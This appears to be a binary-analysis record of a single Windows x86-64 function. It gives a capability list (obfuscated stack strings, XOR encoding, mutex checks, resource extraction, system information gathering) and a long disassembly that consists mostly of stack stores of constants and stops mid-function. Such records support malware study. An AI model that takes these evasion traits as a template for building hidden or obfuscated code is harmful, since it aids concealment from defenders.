Function at 0x140001000
Capabilities:
Accept command line arguments
Authenticate hmac
Check for unexpected memory writes
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file size
Get system information on windows
Parse pe header
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x1c1e0
call fcn.14015c120
sub rsp, rax
mov dword [rsp + 0x475c], 0xe0d3
mov eax, 0x4a3
mov word [rsp + 0xa94], ax
movabs rax, 0x7a1d0eec01f326
mov qword [rsp + 0x8a70], rax
mov dword [rsp + 0x4760], 0xd609
movabs rax, 0x7b7f746be99a02
mov qword [rsp + 0x8a78], rax
movabs rax, 0x70b51721a46573
mov qword [rsp + 0x8a80], rax
mov eax, 0xe63
mov word [rsp + 0xa98], ax
mov dword [rsp + 0x4764], 0x77d0
movabs rax, 0x70a30bf066ca8f
mov qword [rsp + 0x8a88], rax
mov dword [rsp + 0x4768], 0x1756
mov dword [rsp + 0x476c], 0x8e92
mov dword [rsp + 0x4770], 0x7a20
mov byte [rsp + 0x50], 0xcf
movabs rax, 0x766f42450a2771
mov qword [rsp + 0x8a90], rax
mov dword [rsp + 0x4774], 0x561d
mov dword [rsp + 0x4778], 0x4303
mov eax, 0x15e
mov word [rsp + 0xa9c], ax
mov dword [rsp + 0x477c], 0x6dc9
movabs rax, 0x7483fbc688e516
mov qword [rsp + 0x8a98], rax
mov byte [rsp + 0x51], reloc.SHELL32.dll_ILIsEqual
movabs rax, 0x750785e57cefaf
mov qword [rsp + 0x8aa0], rax
mov dword [rsp + 0x4780], 0x6981
movabs rax, 0x7a6194dfe168dc
mov qword [rsp + 0x8aa8], rax
movabs rax, 0x7df26e6882d45b
mov qword [rsp + 0x8ab0], rax
movabs rax, 0x73d9efc4f55dca
mov qword [rsp + 0x8ab8], rax
mov dword [rsp + 0x4784], 0x6d6e
mov byte [rsp + 0x52], 0xd7
mov eax, 0x149
mov word [rsp + 0xaa0], ax
mov eax, 0x4e7
mov word [rsp + 0xaa4], ax
mov byte [rsp + 0x53], 0x35
mov eax, 0x314
mov word [rsp + 0xaa8], ax
mov eax, 0x647
mov word [rsp + 0xaac], ax
mov dword [rsp + 0x4788], 0xa8b2
movabs rax, 0x73d3faa94ceaf8
mov qword [rsp + 0x8ac0], rax
mov dword [rsp + 0x478c], 0x8e43
mov dword [rsp + 0x4790], 0x2219
mov eax, 0xcdc
mov word [rsp + 0xab0], ax
mov byte [rsp + 0x54], 0x4a
movabs rax, 0x796189ecc3ce15
mov qword [rsp + 0x8ac8], rax
mov eax, 0x357
mov word [rsp + 0xab4], ax
movabs rax, 0x74ce2649eb72ef
mov qword [rsp + 0x8ad0], rax
movabs rax, 0x7d4deec34e39f3
mov qword [rsp + 0x8ad8], rax
mov byte [rsp + 0x55], ILRemoveLastID
mov dword [rsp + 0x4794], 0xdd95
mov byte [rsp + 0x56], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x3dc
mov word [rsp + 0xab8], ax
mov dword [rsp + 0x4798], 0x5ffb
mov eax, 0xbac
mov word [rsp + 0xabc], ax
mov byte [rsp + 0x57], ILIsParent
mov eax, PathMakeUniqueName
mov word [rsp + 0xac0], ax
mov eax, 0x30e
mov word [rsp + 0xac4], ax
mov eax, 0x686
mov word [rsp + 0xac8], ax
mov eax, 0x7fd
mov word [rsp + 0xacc], ax
mov byte [rsp + 0x58], 0x67
movabs rax, 0x7d91ae50ab4d68
mov qword [rsp + 0x8ae0], rax
mov dword [rsp + 0x479c], 0x47b6
movabs rax, 0x7636285f247a75
mov qword [rsp + 0x8ae8], rax
mov dword [rsp + 0x47a0], 0x23f8
mov eax, 0x77e
mov word [rsp + 0xad0], ax
mov byte [rsp + 0x59], SHTestTokenMembership
movabs rax, 0x7b206d48ebc41c
mov qword [rsp + 0x8af0], rax
mov eax, 0x3a5
mov word [rsp + 0xad4], ax
mov byte [rsp + 0x5a], 0xa1
movabs rax, 0x77b7fc47aa0696
mov qword [rsp + 0x8af8], rax
mov dword [rsp + 0x47a4], 0x509d
mov dword [rsp + 0x47a8], 0x6bd1
movabs rax, 0x704950be6fe08d
mov qword [rsp + 0x8b00], rax
mov byte [rsp + 0x5b], 0x8d
movabs rax, 0x78bdae210d6009
mov qword [rsp + 0x8b08], rax
movabs rax, 0x703af95a7529d3
mov qword [rsp + 0x8b10], rax
mov dword [rsp + 0x47ac], 0x3751
mov byte [rsp + 0x5c], 0x72
mov dword [rsp + 0x47b0], 0x361b
mov byte [rsp + 0x5d], 0xdc
mov dword [rsp + 0x47b4], 0x8e79
mov dword [rsp + 0x47b8], 0x7bd7
movabs rax, 0x73d0c51f52c979
mov qword [rsp + 0x8b18], rax
mov dword [rsp + 0x47bc], 0x68a
mov eax, 0x4d3
mov word [rsp + 0xad8], ax
movabs rax, 0x779ad2220588ad
mov qword [rsp + 0x8b20], rax
movabs rax, 0x75b64261cb816c
mov qword [rsp + 0x8b28], rax
mov eax, 0x918
mov word [rsp + 0xadc], ax
mov byte [rsp + 0x5e], 0x22
movabs rax, 0x74031560b731a4
mov qword [rsp + 0x8b30], rax
mov eax, 0x2c3
mov word [rsp + 0xae0], ax
mov dword [rsp + 0x47c0], 0x2497
movabs rax, 0x71419a815243f2
mov qword [rsp + 0x8b38], rax
movabs rax, 0x7a0d2ab56a9cf0
mov qword [rsp + 0x8b40], rax
mov dword [rsp + 0x47c4], 0x165f
movabs rax, 0x7b5eeabc9cd704
mov qword [rsp + 0x8b48], rax
movabs rax, 0x77bd5fe27914c3
mov qword [rsp + 0x8b50], rax
movabs rax, 0x78038803c83c71
mov qword [rsp + 0x8b58], rax
mov dword [rsp + 0x47c8], 0x362a
movabs rax, 0x7445bbbe8e681a
mov qword [rsp + 0x8b60], rax
mov dword [rsp + 0x47cc], 0x8ae2
mov dword [rsp + 0x47d0], 0xcb42
movabs rax, 0x76994c20f20b8d
mov qword [rsp + 0x8b68], rax
movabs rax, 0x74b2ca1a95c798
mov qword [rsp + 0x8b70], rax
mov dword [rsp + 0x47d4], 0x891a
mov byte [rsp + 0x5f], SHDoDragDrop
mov dword [rsp + 0x47d8], 0x6ce6
mov eax, 0x5b9
mov word [rsp + 0xae4], ax
mov byte [rsp + 0x60], 0xc1
mov dword [rsp + 0x47dc], 0x98d3
mov eax, 0x21d
mov word [rsp + 0xae8], ax
mov dword [rsp + 0x47e0], 0x4650
mov byte [rsp + 0x61], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x70de31d420b770
mov qword [rsp + 0x8b78], rax
mov dword [rsp + 0x47e4], 0x4197
mov dword [rsp + 0x47e8], 0x6813
movabs rax, 0x71526ce1d49810
mov qword [rsp + 0x8b80], rax
movabs rax, 0x71792f2282e614
mov qword [rsp + 0x8b88], rax
mov dword [rsp + 0x47ec], 0x36c3
movabs rax, 0x7dd7bf03dc8afc
mov qword [rsp + 0x8b90], rax
movabs rax, 0x72f6509a06451c
mov qword [rsp + 0x8b98], rax
movabs rax, 0x79fa416b190869
mov qword [rsp + 0x8ba0], rax
mov eax, 0x577
mov word [rsp + 0xaec], ax
mov byte [rsp + 0x62], 0x52
movabs rax, 0x7c18db50c4af80
mov qword [rsp + 0x8ba8], rax
movabs rax, 0x7bcc092352e591
mov qword [rsp + 0x8bb0], rax
mov byte [rsp + 0x63], SHTestTokenMembership
mov eax, 0x51b
mov word [rsp + 0xaf0], ax
mov eax, 0x192
mov word [rsp + 0xaf4], ax
mov eax, 0x2b8
mov word [rsp + 0xaf8], ax
mov dword [rsp + 0x47f0], 0x5cc6
movabs rax, 0x74f1a2803e2119
mov qword [rsp + 0x8bb8], rax
movabs rax, 0x7b91b63f595cb1
mov qword [rsp + 0x8bc0], rax
mov eax, 0x1b0
mov word [rsp + 0xafc], ax
movabs rax, 0x715a758eb49efb
mov qword [rsp + 0x8bc8], rax
mov eax, 0x733
mov word [rsp + 0xb00], ax
mov eax, 0x272
mov word [rsp + 0xb04], ax
mov byte [rsp + 0x64], 0xa2
mov byte [rsp + 0x65], 0xb6
mov dword [rsp + 0x47f4], 0x4f4a
mov dword [rsp + 0x47f8], 0x7a6d
movabs rax, 0x70cc62e0108b8d
mov qword [rsp + 0x8bd0], rax
mov eax, 0x5ad
mov word [rsp + 0xb08], ax
mov eax, 0x1b1
mov word [rsp + 0xb0c], ax
mov dword [rsp + 0x47fc], 0xec5e
movabs rax, 0x7b21f7ce4e6a77
mov qword [rsp + 0x8bd8], rax
movabs rax, 0x7cd9aa1db5650b
mov qword [rsp + 0x8be0], rax
mov byte [rsp + 0x66], 0xa7
mov eax, 0xc3
mov word [rsp + 0xb10], ax
mov eax, 0x8b1
mov word [rsp + 0xb14], ax
mov dword [rsp + 0x4800], 0x18d4
movabs rax, 0x72a7012f34e2cf
mov qword [rsp + 0x8be8], rax
mov eax, 0x24d
mov word [rsp + 0xb18], ax
mov eax, 0x781
mov word [rsp + 0xb1c], ax
mov eax, 0xb22
mov word [rsp + 0xb20], ax
movabs rax, 0x796a1518c8c6fa
mov qword [rsp + 0x8bf0], rax
movabs rax, 0x7c6e32b8b93d1b
mov qword [rsp + 0x8bf8], rax
mov dword [rsp + 0x4804], 0x7df7
movabs rax, 0x7810c6d4d5fcbe
mov qword [rsp + 0x8c00], rax
movabs rax, 0x7df76dc674c2fb
mov qword [rsp + 0x8c08], rax
movabs rax, 0x79add69862742a
mov qword [rsp + 0x8c10], rax
mov eax, 0x5c3
mov word [rsp + 0xb24], ax
mov dword [rsp + 0x4808], 0x2a14
mov eax, 0xbe1
mov word [rsp + 0xb28], ax
mov eax, 0x409
mov word [rsp + 0xb2c], ax
mov dword [rsp + 0x480c], 0x3825
mov dword [rsp + 0x4810], 0x5e8
mov dword [rsp + 0x4814], 0x779b
mov dword [rsp + 0x4818], 0x78c5
movabs rax, 0x7eb3d892a8f228
mov qword [rsp + 0x8c18], rax
mov byte [rsp + 0x67], 0x6e
mov dword [rsp + 0x481c], 0xbdc8
mov byte [rsp + 0x68], 0x4e
mov byte [rsp + 0x69], 0xe9
movabs rax, 0x740b31ef041a40
mov qword [rsp + 0x8c20], rax
mov eax, 0x461
mov word [rsp + 0xb30], ax
mov byte [rsp + 0x6a], 0xd5
mov dword [rsp + 0x4820], 0xa32e
mov byte [rsp + 0x6b], 0x23
mov eax, 0x54f
mov word [rsp + 0xb34], ax
movabs rax, 0x76fe43f7342344
mov qword [rsp + 0x8c28], rax
movabs rax, 0x70c90e50b6369e
mov qword [rsp + 0x8c30], rax
mov eax, 0xda7
mov word [rsp + 0xb38], ax
mov dword [rsp + 0x4824], 0x548f
movabs rax, 0x7ac53ab62e7397
mov qword [rsp + 0x8c38], rax
mov eax, 0x28b
mov word [rsp + 0xb3c], ax
mov eax, 0x8bc
mov word [rsp + 0xb40], ax
mov eax, 0x8d5
mov word [rsp + 0xb44], ax
mov eax, 0x7bf
mov word [rsp + 0xb48], ax
mov dword [rsp + 0x4828], 0x537e
movabs rax, 0x71e437c9c953a1
mov qword [rsp + 0x8c40], rax
mov dword [rsp + 0x482c], 0x108c
mov dword [rsp + 0x4830], 0x673c
mov eax, 0x64e
mov word [rsp + 0xb4c], ax
mov eax, 0x2b1
mov word [rsp + 0xb50], ax
movabs rax, 0x75bdee1a3e2b0c
mov qword [rsp + 0x8c48], rax
mov eax, 0xf0
mov word [rsp + 0xb54], ax
mov dword [rsp + 0x4834], 0x344c
mov byte [rsp + 0x6c], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x7c28e3cde0950a
mov qword [rsp + 0x8c50], rax
movabs rax, 0x75fcfc57841842
mov qword [rsp + 0x8c58], rax
mov eax, 0x718
mov word [rsp + 0xb58], ax
mov dword [rsp + 0x4838], 0x9ed9
mov byte [rsp + 0x6d], 0x45
movabs rax, 0x7acb4e2dc9d4f0
mov qword [rsp + 0x8c60], rax
mov byte [rsp + 0x6e], 0x21
movabs rax, 0x7bde30e011dfb5
mov qword [rsp + 0x8c68], rax
mov dword [rsp + 0x483c], 0x632d
movabs rax, 0x751116df3836fe
mov qword [rsp + 0x8c70], rax
mov dword [rsp + 0x4840], 0x6fee
movabs rax, 0x7472a800b3690e
mov qword [rsp + 0x8c78], rax
mov eax, 0x707
mov word [rsp + 0xb5c], ax
mov dword [rsp + 0x4844], 0x41ae
mov dword [rsp + 0x4848], 0x225f
movabs rax, 0x731c11d1a9ec68
mov qword [rsp + 0x8c80], rax
movabs rax, 0x72df8aedf5ab6a
mov qword [rsp + 0x8c88], rax
mov dword [rsp + 0x484c], 0x2286
movabs rax, 0x706c33631847ba
mov qword [rsp + 0x8c90], rax
mov dword [rsp + 0x4850], 0x9ce1
mov eax, 0x64a
mov word [rsp + 0xb60], ax
mov dword [rsp + 0x4854], 0xaa75
mov dword [rsp + 0x4858], 0x6f4c
movabs rax, 0x71c6408a5cebe6
mov qword [rsp + 0x8c98], rax
movabs rax, 0x7a8feb0e428f5b
mov qword [rsp + 0x8ca0], rax
mov eax, 0x2a6
mov word [rsp + 0xb64], ax
mov dword [rsp + 0x485c], 0x74fb
mov byte [rsp + 0x6f], ILRemoveLastID
mov dword [rsp + 0x4860], 0x727f
mov eax, 0x2b0
mov word [rsp + 0xb68], ax
mov eax, 0x7f4
mov word [rsp + 0xb6c], ax
mov eax, 0x2fd
mov word [rsp + 0xb70], ax
mov eax, 0xb8b
mov word [rsp + 0xb74], ax
mov eax, reloc.SHELL32.dll_ILCreateFromPathW
mov word [rsp + 0xb78], ax
mov byte [rsp + 0x70], reloc.SHELL32.dll_ILIsParent
mov eax, 0x4cb
mov word [rsp + 0xb7c], ax
mov dword [rsp + 0x4864], 0x789f
mov byte [rsp + 0x71], PathMakeUniqueName
mov eax, 0x22d
mov word [rsp + 0xb80], ax
movabs rax, 0x7466889a1ff2a7
mov qword [rsp + 0x8ca8], rax
mov dword [rsp + 0x4868], 0x6285
movabs rax, 0x76c382604ff254
mov qword [rsp + 0x8cb0], rax
movabs rax, 0x7946d2a4b4480c
mov qword [rsp + 0x8cb8], rax
movabs rax, 0x787db47c95723a
mov qword [rsp + 0x8cc0], rax
movabs rax, 0x7227650706d9ee
mov qword [rsp + 0x8cc8], rax
movabs rax, 0x73364bfc3246c6
mov qword [rsp + 0x8cd0], rax
mov byte [rsp + 0x72], 0xfa
movabs rax, 0x7c79ff2a6f33f3
mov qword [rsp + 0x8cd8], rax
mov dword [rsp + 0x486c], 0x7f1d
mov eax, 0x65c
mov word [rsp + 0xb84], ax
movabs rax, 0x76ef26b3029e27
mov qword [rsp + 0x8ce0], rax
mov eax, 0x1d4
mov word [rsp + 0xb88], ax
movabs rax, 0x7aeb1c09828b27
mov qword [rsp + 0x8ce8], rax
movabs rax, 0x7696a403960708
mov qword [rsp + 0x8cf0], rax
mov dword [rsp + 0x4870], 0x2f6a
mov dword [rsp + 0x4874], 0x8728
mov eax, 0x19d
mov word [rsp + 0xb8c], ax
movabs rax, 0x7776dfd8ab6502
mov qword [rsp + 0x8cf8], rax
mov byte [rsp + 0x73], reloc.SHELL32.dll_ILAppendID
movabs rax, 0x7a5901710fb8a6
mov qword [rsp + 0x8d00], rax
mov byte [rsp + 0x74], 0xa6
movabs rax, 0x722ddcbb040f62
mov qword [rsp + 0x8d08], rax
movabs rax, 0x7e1a68ba09d3ab
mov qword [rsp + 0x8d10], rax
mov eax, 0x60a
mov word [rsp + 0xb90], ax
mov eax, 0xd3
mov word [rsp + 0xb94], ax
mov eax, 0x508
mov word [rsp + 0xb98], ax
movabs rax, 0x76047fcdc8a9b4
mov qword [rsp + 0x8d18], rax
movabs rax, 0x733ebd8b417be7
mov qword [rsp + 0x8d20], rax
mov byte [rsp + 0x75], 0xd1
mov byte [rsp + 0x76], 0x88
mov byte [rsp + 0x77], 0x88
movabs rax, 0x768b40cf2654b1
mov qword [rsp + 0x8d28], rax
mov eax, 6
mov word [rsp + 0xb9c], ax
mov eax, 0x5aa
mov word [rsp + 0xba0], ax
mov eax, 0x62b
mov word [rsp + 0xba4], ax
mov eax, 0xbae
mov word [rsp + 0xba8], ax
mov dword [rsp + 0x4878], 0x23ce
movabs rax, 0x7c5b184c2fb311
mov qword [rsp + 0x8d30], rax
mov dword [rsp + 0x487c], 0x297f
mov dword [rsp + 0x4880], 0xa131
movabs rax, 0x785bac4c7f122b
mov qword [rsp + 0x8d38], rax
mov byte [rsp + 0x78], SHSetInstanceExplorer
mov dword [rsp + 0x4884], 0x48ae
mov eax, 0xf74
mov word [rsp + 0xbac], ax
movabs rax, 0x7ccd7d12c2cda0
mov qword [rsp + 0x8d40], rax
mov byte [rsp + 0x79], 2
movabs rax, 0x7b7402efbecf5a
mov qword [rsp + 0x8d48], rax
mov byte [rsp + 0x7a], 0xf9
mov byte [rsp + 0x7b], 0x5d
mov eax, 0x427
mov word [rsp + 0xbb0], ax
movabs rax, 0x764769e65ab15e
mov qword [rsp + 0x8d50], rax
mov eax, 0x134
mov word [rsp + 0xbb4], ax
movabs rax, 0x76d9a839a77b47
mov qword [rsp + 0x8d58], rax
movabs rax, 0x7223b6e1767f1b
mov qword [rsp + 0x8d60], rax
mov byte [rsp + 0x7c], 0x6e
movabs rax, 0x7206ebfe415dec
mov qword [rsp + 0x8d68], rax
movabs rax, 0x72ca760e3414d6
mov qword [rsp + 0x8d70], rax
mov dword [rsp + 0x4888], 0x3aa9
movabs rax, 0x7570ca55a999e8
mov qword [rsp + 0x8d78], rax
mov eax, 0x319
mov word [rsp + 0xbb8], ax
movabs rax, 0x76f9110cadeee0
mov qword [rsp + 0x8d80], rax
mov dword [rsp + 0x488c], 0x59ae
mov byte [rsp + 0x7d], 0xd7
mov dword [rsp + 0x4890], 0x13e6
mov eax, 0x4f8
mov word [rsp + 0xbbc], ax
mov eax, 0xcbc
mov word [rsp + 0xbc0], ax
mov byte [rsp + 0x7e], 0xf0
movabs rax, 0x7c2f26f294e092
mov qword [rsp + 0x8d88], rax
mov dword [rsp + 0x4894], 0x708f
mov dword [rsp + 0x4898], 0x6081
mov eax, 0x6ed
mov word [rsp + 0xbc4], ax
movabs rax, 0x7b5abe12af17f0
mov qword [rsp + 0x8d90], rax
movabs rax, 0x78c870b7b524a2
mov qword [rsp + 0x8d98], rax
mov eax, 0x51b
mov word [rsp + 0xbc8], ax
mov dword [rsp + 0x489c], 0x1590
mov eax, 0xe95
mov word [rsp + 0xbcc], ax
mov eax, 0xe10
mov word [rsp + 0xbd0], ax
mov eax, 0x31d
mov word [rsp + 0xbd4], ax
movabs rax, 0x7d67174b26262b
mov qword [rsp + 0x8da0], rax
mov byte [rsp + 0x7f], 0x4f
movabs rax, 0x7cce4e9b0fe53d
mov qword [rsp + 0x8da8], rax
mov dword [rsp + 0x48a0], 0x5d
mov dword [rsp + 0x48a4], 0x6093
movabs rax, 0x7a15838e2d0294
mov qword [rsp + 0x8db0], rax
mov dword [rsp + 0x48a8], 0x6886
mov eax, 0x150
mov word [rsp + 0xbd8], ax
mov eax, 0x250
mov word [rsp + 0xbdc], ax
mov byte [rsp + 0x80], 0x7a
mov dword [rsp + 0x48ac], 0x27d6
movabs rax, 0x709d393170ffbc
mov qword [rsp + 0x8db8], rax
movabs rax, 0x710351ac2e0d9b
mov qword [rsp + 0x8dc0], rax
mov dword [rsp + 0x48b0], 0x9859
mov eax, 0xb61
mov word [rsp + 0xbe0], ax
movabs rax, 0x7dbfe78ed67721
mov qword [rsp + 0x8dc8], rax
movabs rax, 0x7a89727dc5c221
mov qword [rsp + 0x8dd0], rax
movabs rax, 0x7a656be9b1fba3
mov qword [rsp + 0x8dd8], rax
mov byte [rsp + 0x81], 0xda
mov eax, SHTestTokenMembership
mov word [rsp + 0xbe4], ax
mov eax, 0x22b
mov word [rsp + 0xbe8], ax
mov eax, 0xc09
mov word [rsp + 0xbec], ax
mov eax, 0xa9d
mov word [rsp + 0xbf0], ax
mov dword [rsp + 0x48b4], 0x4f0c
mov eax, 0x26f
mov word [rsp + 0xbf4], ax
mov eax, 0x9cc
mov word [rsp + 0xbf8], ax
movabs rax, 0x752c6f56e09d04
mov qword [rsp + 0x8de0], rax
mov dword [rsp + 0x48b8], 0x2e1
mov eax, 0x16e
mov word [rsp + 0xbfc], ax
mov byte [rsp + 0x82], 0x1d
mov dword [rsp + 0x48bc], 0x3ec3
mov dword [rsp + 0x48c0], 0x7ee3
mov dword [rsp + 0x48c4], 0xd7c
movabs rax, 0x776e7927772cff
mov qword [rsp + 0x8de8], rax
mov dword [rsp + 0x48c8], 0xd881
mov byte [rsp + 0x83], SHTestTokenMembership
movabs rax, 0x7b8e66a9171f08
mov qword [rsp + 0x8df0], rax
mov eax, 0x41
mov word [rsp + 0xc00], ax
mov byte [rsp + 0x84], 0x6b
movabs rax, 0x71607f358cf3eb
mov qword [rsp + 0x8df8], rax
movabs rax, 0x797c99b505c249
mov qword [rsp + 0x8e00], rax
mov dword [rsp + 0x48cc], 0x3131
mov eax, 0x2a8
mov word [rsp + 0xc04], ax
mov byte [rsp + 0x85], ILSaveToStream
mov byte [rsp + 0x86], 0x4d
mov eax, 0xe91
mov word [rsp + 0xc08], ax
movabs rax, 0x78b0b362c92645
mov qword [rsp + 0x8e08], rax
mov byte [rsp + 0x87], ILAppendID
mov byte [rsp + 0x88], 0x8a
mov byte [rsp + 0x89], PathMakeUniqueName
mov dword [rsp + 0x48d0], 0xe1b
mov dword [rsp + 0x48d4], 0x6de3
mov byte [rsp + 0x8a], 0x90
movabs rax, 0x7a144d8c5dfd5e
mov qword [rsp + 0x8e10], rax
mov dword [rsp + 0x48d8], 0x37dd
mov dword [rsp + 0x48dc], 0x5f0d
movabs rax, 0x72623ec76f012b
mov qword [rsp + 0x8e18], rax
mov dword [rsp + 0x48e0], 0x1136
mov dword [rsp + 0x48e4], 0x59d1
mov eax, 0x378
mov word [rsp + 0xc0c], ax
mov eax, 0x341
mov word [rsp + 0xc10], ax
movabs rax, 0x7684a3ed9c5486
mov qword [rsp + 0x8e20], rax
mov eax, 0x323
mov word [rsp + 0xc14], ax
mov eax, 0xb72
mov word [rsp + 0xc18], ax
mov dword [rsp + 0x48e8], 0x2b18
movabs rax, 0x76406259e0dcfd
mov qword [rsp + 0x8e28], rax
mov eax, 0x647
mov word [rsp + 0xc1c], ax
mov dword [rsp + 0x48ec], 0x7490
mov eax, 0x237
mov word [rsp + 0xc20], ax
mov dword [rsp + 0x48f0], 0x2f53
mov dword [rsp + 0x48f4], 0xead0
movabs rax, 0x790b7f4e7cca8a
mov qword [rsp + 0x8e30], rax
mov byte [rsp + 0x8b], 0xa2
mov dword [rsp + 0x48f8], 0xacc1
mov byte [rsp + 0x8c], 0x1e
mov byte [rsp + 0x8d], 5
mov eax, 0x4a1
mov word [rsp + 0xc24], ax
movabs rax, 0x7543eb524943f7
mov qword [rsp + 0x8e38], rax
mov byte [rsp + 0x8e], ILCreateFromPathW
mov dword [rsp + 0x48fc], 0x398d
movabs rax, 0x78bd42d1b0d7e0
mov qword [rsp + 0x8e40], rax
mov eax, 0x337
mov word [rsp + 0xc28], ax
mov dword [rsp + 0x4900], 0x731b
movabs rax, 0x789167548689ff
mov qword [rsp + 0x8e48], rax
mov dword [rsp + 0x4904], 0x6c3d
mov eax, 0x68f
mov word [rsp + 0xc2c], ax
movabs rax, 0x7d126a736b3376
mov qword [rsp + 0x8e50], rax
movabs rax, 0x79952fb621f06d
mov qword [rsp + 0x8e58], rax
movabs rax, 0x7134c806e81196
mov qword [rsp + 0x8e60], rax
mov eax, 0x439
mov word [rsp + 0xc30], ax
mov dword [rsp + 0x4908], 0xf9b
movabs rax, 0x7945bf82d5d43b
mov qword [rsp + 0x8e68], rax
mov eax, 0x48d
mov word [rsp + 0xc34], ax
mov byte [rsp + 0x8f], 0x6a
mov eax, 0xae5
mov word [rsp + 0xc38], ax
mov dword [rsp + 0x490c], 0x7e8d
movabs rax, 0x74ef6ceb5b579e
mov qword [rsp + 0x8e70], rax
mov eax, 0x40d
mov word [rsp + 0xc3c], ax
movabs rax, 0x724079b8e9d1e8
mov qword [rsp + 0x8e78], rax
movabs rax, 0x7992c7dc07fd74
mov qword [rsp + 0x8e80], rax
mov dword [rsp + 0x4910], 0x175e
mov byte [rsp + 0x90], ILRemoveLastID
mov eax, 0x5f9
mov word [rsp + 0xc40], ax
mov dword [rsp + 0x4914], 0x7977
mov byte [rsp + 0x91], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x4918], 0x1974
mov eax, 0x29
mov word [rsp + 0xc44], ax
movabs rax, 0x79439601fc7c73
mov qword [rsp + 0x8e88], rax
mov eax, 0x3e4
mov word [rsp + 0xc48], ax
mov eax, 0x75e
mov word [rsp + 0xc4c], ax
movabs rax, 0x704cd9d2452022
mov qword [rsp + 0x8e90], rax
mov byte [rsp + 0x92], 0x67
mov eax, 0x3f3
mov word [rsp + 0xc50], ax
mov eax, 0x750
mov word [rsp + 0xc54], ax
mov dword [rsp + 0x491c], 0x8d9
mov eax, 0x3c
mov word [rsp + 0xc58], ax
mov dword [rsp + 0x4920], 0x76b0
mov dword [rsp + 0x4924], 0x38a5
mov eax, 0x1af
mov word [rsp + 0xc5c], ax
mov dword [rsp + 0x4928], 0x922a
mov eax, 0x20a
mov word [rsp + 0xc60], ax
mov dword [rsp + 0x492c], 0x32a6
movabs rax, 0x75851c3b1bc6a4
mov qword [rsp + 0x8e98], rax
mov byte [rsp + 0x93], 0x30
mov byte [rsp + 0x94], 0x22
movabs rax, 0x7612282fbac2ac
mov qword [rsp + 0x8ea0], rax
movabs rax, 0x7038d1d7a4193a
mov qword [rsp + 0x8ea8], rax
mov eax, 0x5ec
mov word [rsp + 0xc64], ax
mov byte [rsp + 0x95], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x7bb2c08631e30f
mov qword [rsp + 0x8eb0], rax
movabs rax, 0x7754115d8bcf0e
mov qword [rsp + 0x8eb8], rax
mov dword [rsp + 0x4930], 0x687e
movabs rax, 0x759f978c122cef
mov qword [rsp + 0x8ec0], rax
mov dword [rsp + 0x4934], 0x5fd8
mov eax, 0x1cf
mov word [rsp + 0xc68], ax
mov byte [rsp + 0x96], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x97], 0xe6
mov dword [rsp + 0x4938], 0xa1a
movabs rax, 0x724f69b333fd7c
mov qword [rsp + 0x8ec8], rax
mov dword [rsp + 0x493c], 0x9d4c
mov dword [rsp + 0x4940], 0x76fb
mov eax, 0x93b
mov word [rsp + 0xc6c], ax
mov byte [rsp + 0x98], 0x31
movabs rax, 0x7946dcbb85ffe0
mov qword [rsp + 0x8ed0], rax
movabs rax, 0x799f9014a0331c
mov qword [rsp + 0x8ed8], rax
mov byte [rsp + 0x99], 0xd2
movabs rax, 0x731104ed98c53f
mov qword [rsp + 0x8ee0], rax
movabs rax, 0x79e14633f94bfa
mov qword [rsp + 0x8ee8], rax
mov dword [rsp + 0x4944], 0x7387
mov dword [rsp + 0x4948], 0xe66a
mov dword [rsp + 0x494c], 0x34ff
movabs rax, 0x77bd9829732532
mov qword [rsp + 0x8ef0], rax
mov eax, 0x353
mov word [rsp + 0xc70], ax
mov dword [rsp + 0x4950], 0x6c17
movabs rax, 0x7860d1495d47ac
mov qword [rsp + 0x8ef8], rax
movabs rax, 0x73cb219da02225
mov qword [rsp + 0x8f00], rax
mov byte [rsp + 0x9a], 0x84
movabs rax, 0x7c566bef94b9d2
mov qword [rsp + 0x8f08], rax
mov byte [rsp + 0x9b], ILIsParent
mov dword [rsp + 0x4954], 0xf850
mov byte [rsp + 0x9c], 0x32
mov dword [rsp + 0x4958], 0x80f4
mov eax, 0xd3f
mov word [rsp + 0xc74], ax
movabs rax, 0x7eca0f13705c9e
mov qword [rsp + 0x8f10], rax
mov dword [rsp + 0x495c], 0x2dbf
movabs rax, 0x72d71ae2b6cf30
mov qword [rsp + 0x8f18], rax
mov eax, 0x6b1
mov word [rsp + 0xc78], ax
movabs rax, 0x73367bf2cabea6
mov qword [rsp + 0x8f20], rax
movabs rax, 0x7ac6e202549861
mov qword [rsp + 0x8f28], rax
mov eax, 0x437
mov word [rsp + 0xc7c], ax
movabs rax, 0x7cd2a3d18675f7
mov qword [rsp + 0x8f30], rax
mov eax, 0x9f0
mov word [rsp + 0xc80], ax
mov eax, 0x5fc
mov word [rsp + 0xc84], ax
movabs rax, 0x74701bda5d28be
mov qword [rsp + 0x8f38], rax
mov eax, 0x757
mov word [rsp + 0xc88], ax
mov dword [rsp + 0x4960], 0x1aa3
mov eax, 0x3c8
mov word [rsp + 0xc8c], ax
movabs rax, 0x75d5a3eeac6f70
mov qword [rsp + 0x8f40], rax
movabs rax, 0x71842cdfe182a1
mov qword [rsp + 0x8f48], rax
mov dword [rsp + 0x4964], 0x742e
mov byte [rsp + 0x9d], SHDoDragDrop
mov byte [rsp + 0x9e], 0x26
mov eax, 0x44e
mov word [rsp + 0xc90], ax
mov eax, 0xfa7
mov word [rsp + 0xc94], ax
mov eax, 0x322
mov word [rsp + 0xc98], ax
mov byte [rsp + 0x9f], 0x48
mov byte [rsp + 0xa0], 0x65
mov dword [rsp + 0x4968], 0x6880
mov eax, 0x2dc
mov word [rsp + 0xc9c], ax
mov dword [rsp + 0x496c], 0x750d
movabs rax, 0x767a214cd4500d
mov qword [rsp + 0x8f50], rax
mov dword [rsp + 0x4970], 0x4af
mov dword [rsp + 0x4974], 0x5939
movabs rax, 0x787a855850686e
mov qword [rsp + 0x8f58], rax
movabs rax, 0x771724a7eba21d
mov qword [rsp + 0x8f60], rax
mov dword [rsp + 0x4978], 0x1261
mov eax, 0x3a5
